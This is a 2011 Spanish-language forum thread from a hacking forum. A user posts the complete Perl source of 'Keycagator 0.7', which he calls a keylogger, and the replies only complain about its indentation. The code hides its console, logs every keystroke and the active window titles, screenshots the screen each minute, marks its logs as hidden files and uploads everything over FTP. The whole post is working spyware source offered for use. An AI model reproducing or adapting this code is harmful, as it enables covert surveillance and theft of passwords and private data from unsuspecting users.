elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Keycagator 0.7
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Keycagator 0.7  (Leído 3,325 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Keycagator 0.7
« en: 9 Octubre 2011, 17:51 pm »

Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas
  • Captura ventanas en la que se trabaja
  • Toma fotos del sistema cada 1 minuto
  • Sube logs y fotos tomadas por FTP
  • Oculta rastros
Código
  1. #!usr/bin/perl
  2. #KeyCagator 0.7 (C) Doddy Hackman 2011
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  7. use Win32::Clipboard;
  8. use threads;
  9. use Net::FTP;
  10. use Win32::File;
  11. use Cwd;
  12.  
  13. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  14. my $tengo = 0;
  15.  
  16. if ($^O eq 'MSWin32') {
  17. use Win32::Console;
  18. Win32::Console::Free();
  19. }
  20.  
  21. hideit($0,"hide");
  22.  
  23. subirftp("logs.txt","logs.txt");
  24.  
  25. my $comando1 = threads->new(\&capture_windows);
  26. my $comando2 = threads->new(\&capture_keys);
  27. my $comando3 = threads->new(\&capture_screen);
  28.  
  29. $comando1->join();
  30. $comando2->join();
  31. $comando3->join();
  32.  
  33.  
  34. sub capture_windows {
  35.  
  36. while(1) {
  37.  
  38. my $win1 = GetForegroundWindow();        
  39. my $win2 = GetForegroundWindow();
  40.  
  41. if($win1 != $win2){
  42. my $nombre = GetWindowText($win1);
  43. chomp($nombre);
  44. if ($nombre ne "") {
  45. #print "\n\n[".$nombre."]\n\n";
  46. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  47. }
  48. }
  49. }
  50. }
  51.  
  52. sub capture_keys {
  53.  
  54. while(1) {
  55.  
  56. my $test1;
  57. my $test2;
  58.  
  59. for my $num(0x30..0x39) { #Numbers
  60.  
  61. if (dame($num)) {
  62. #print "number : ".chr($num)."\n";
  63. savefile("logs.txt",chr($num));
  64. }
  65. }
  66.  
  67. if (dame(0x14)) {
  68. $test1 = 1;
  69. $tengo++;
  70. }
  71.  
  72. for my $num(0x41..0x5A) { #Words
  73.  
  74. if (dame($num)) {
  75.  
  76. if (dame(0x20)) {
  77. savefile("logs.txt"," ");
  78. }
  79.  
  80. if (dame(0x32)) {
  81. savefile("logs.txt","\n[enter]\n\n");
  82. }
  83.  
  84. unless (verpar($tengo) eq 1) {
  85. #print "MAYUSCULA : ".chr($num)."\n";
  86. savefile("logs.txt",chr($num));
  87. }
  88.  
  89. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  90. #print "MAYUSCULA : ".chr($num)."\n";
  91. $test2 = 1;
  92. }
  93.  
  94. unless ($test1 eq 1 or $test2 eq 1) {
  95. if ($num >= 0x41) {
  96. if ($num <= 0x5A) {
  97. if (verpar($tengo) eq 1) {
  98. #print "MINUSCULA : ".chr($num+32)."\n";
  99. savefile("logs.txt",chr($num+32));
  100. }
  101. }
  102. }
  103. }
  104. }
  105. }
  106. }
  107. }
  108.  
  109. sub capture_screen {
  110.  
  111. $numero = 0;
  112.  
  113. while(1) {
  114.  
  115. sleep 60;
  116.  
  117. $numero++;
  118.  
  119. SetForegroundWindow(1);
  120. SendKeys('%{PRTSCR}');
  121.  
  122. my $a = Win32::Clipboard::GetBitmap();
  123.  
  124. open (FOTO,">".$numero.".bmp");
  125. binmode(FOTO);
  126. print FOTO $a;
  127. close FOTO;
  128.  
  129. hideit($numero.".bmp","hide");
  130. subirftp($numero.".bmp",$numero.".bmp");
  131. }
  132. }
  133.  
  134. sub dame {
  135. return($come->Call(@_) & 1);
  136. }
  137.  
  138. sub savefile {
  139.  
  140. open (SAVE,">>".$_[0]);
  141. print SAVE $_[1];
  142. close SAVE;
  143.  
  144. hideit($_[0],"hide");
  145.  
  146. }
  147.  
  148. sub hideit {
  149. if ($_[1] eq "show") {
  150. Win32::File::SetAttributes($_[0],NORMAL);
  151. }
  152. elsif ($_[1] eq "hide") {
  153. Win32::File::SetAttributes($_[0],HIDDEN);
  154. }
  155. else {
  156. print "error\n";
  157. }
  158. }
  159.  
  160. sub subirftp {
  161.  
  162. if ($ser = Net::FTP->new("localhost")) {
  163. if ($ser->login("doddy","123")) {
  164. print "subi".getcwd()."/".$_[0]."\n";
  165. if ($ser->put(getcwd()."/".$_[0],$_[1])) {
  166. return true;
  167. }
  168. }
  169. $ser->close;
  170. }
  171.  
  172.  
  173. }
  174.  
  175. sub verpar{
  176. return ($_[0] % 2 == 0) ? "1" : "2";
  177. }
  178.  
  179.  
  180. #Credits : to explorer for helpme with the function verpar()
  181. #Mail : lepuke[at]hotmail[com]
  182. #Blog : doddy-hackman.blogspot.com
  183. # ¿ The End ?
  184.  


« Última modificación: 9 Octubre 2011, 18:13 pm por Doddy » En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #1 en: 9 Octubre 2011, 18:08 pm »

Se ve muy feo el código sin indentar, arregla eso.

Saludos.


En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Keycagator 0.7
« Respuesta #2 en: 9 Octubre 2011, 18:12 pm »

ese es mi estilo , leo.
En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #3 en: 9 Octubre 2011, 20:56 pm »

No es un estilo, es un mal hábito de programación.
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Keycagator 0.7
« Respuesta #4 en: 9 Octubre 2011, 22:03 pm »

supongo que es cuestion de perspectiva
En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #5 en: 9 Octubre 2011, 22:17 pm »

supongo que es cuestion de perspectiva

Tienes que corregir eso, luego si quieres trabajar como programador no vas a tener una  buena imagen, tu código se verá horrendo aún pudiendo ser muy eficiente.
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Keycagator 0.7
« Respuesta #6 en: 9 Octubre 2011, 22:20 pm »

ok , me podes recomendar manuales o lo que sea para entender como hacer un codigo en perl realmente identado ?
En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #7 en: 9 Octubre 2011, 22:56 pm »

http://perlenespanol.com/foro/duda-con-estetica-t2078.html
http://dmnet.bitacoras.com/archivos/programacion/estilos-de-indentacion.php
http://es.wikipedia.org/wiki/Indentaci%C3%B3n
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] KeyCagator 0.4
Scripting
BigBear 0 1,585 Último mensaje 9 Octubre 2011, 17:50 pm
por BigBear
[Perl Tk] Project KeyCagator 1.0
Scripting
BigBear 0 1,617 Último mensaje 3 Noviembre 2012, 15:39 pm
por BigBear
[Delphi] DH KeyCagator 0.2
Programación General
BigBear 3 2,166 Último mensaje 9 Noviembre 2013, 00:34 am
por Fran2013
[Delphi] DH KeyCagator 0.7
Programación General
BigBear 0 1,486 Último mensaje 22 Noviembre 2013, 14:56 pm
por BigBear
[Delphi] DH KeyCagator 1.0
Programación General
BigBear 0 1,626 Último mensaje 5 Junio 2014, 18:17 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines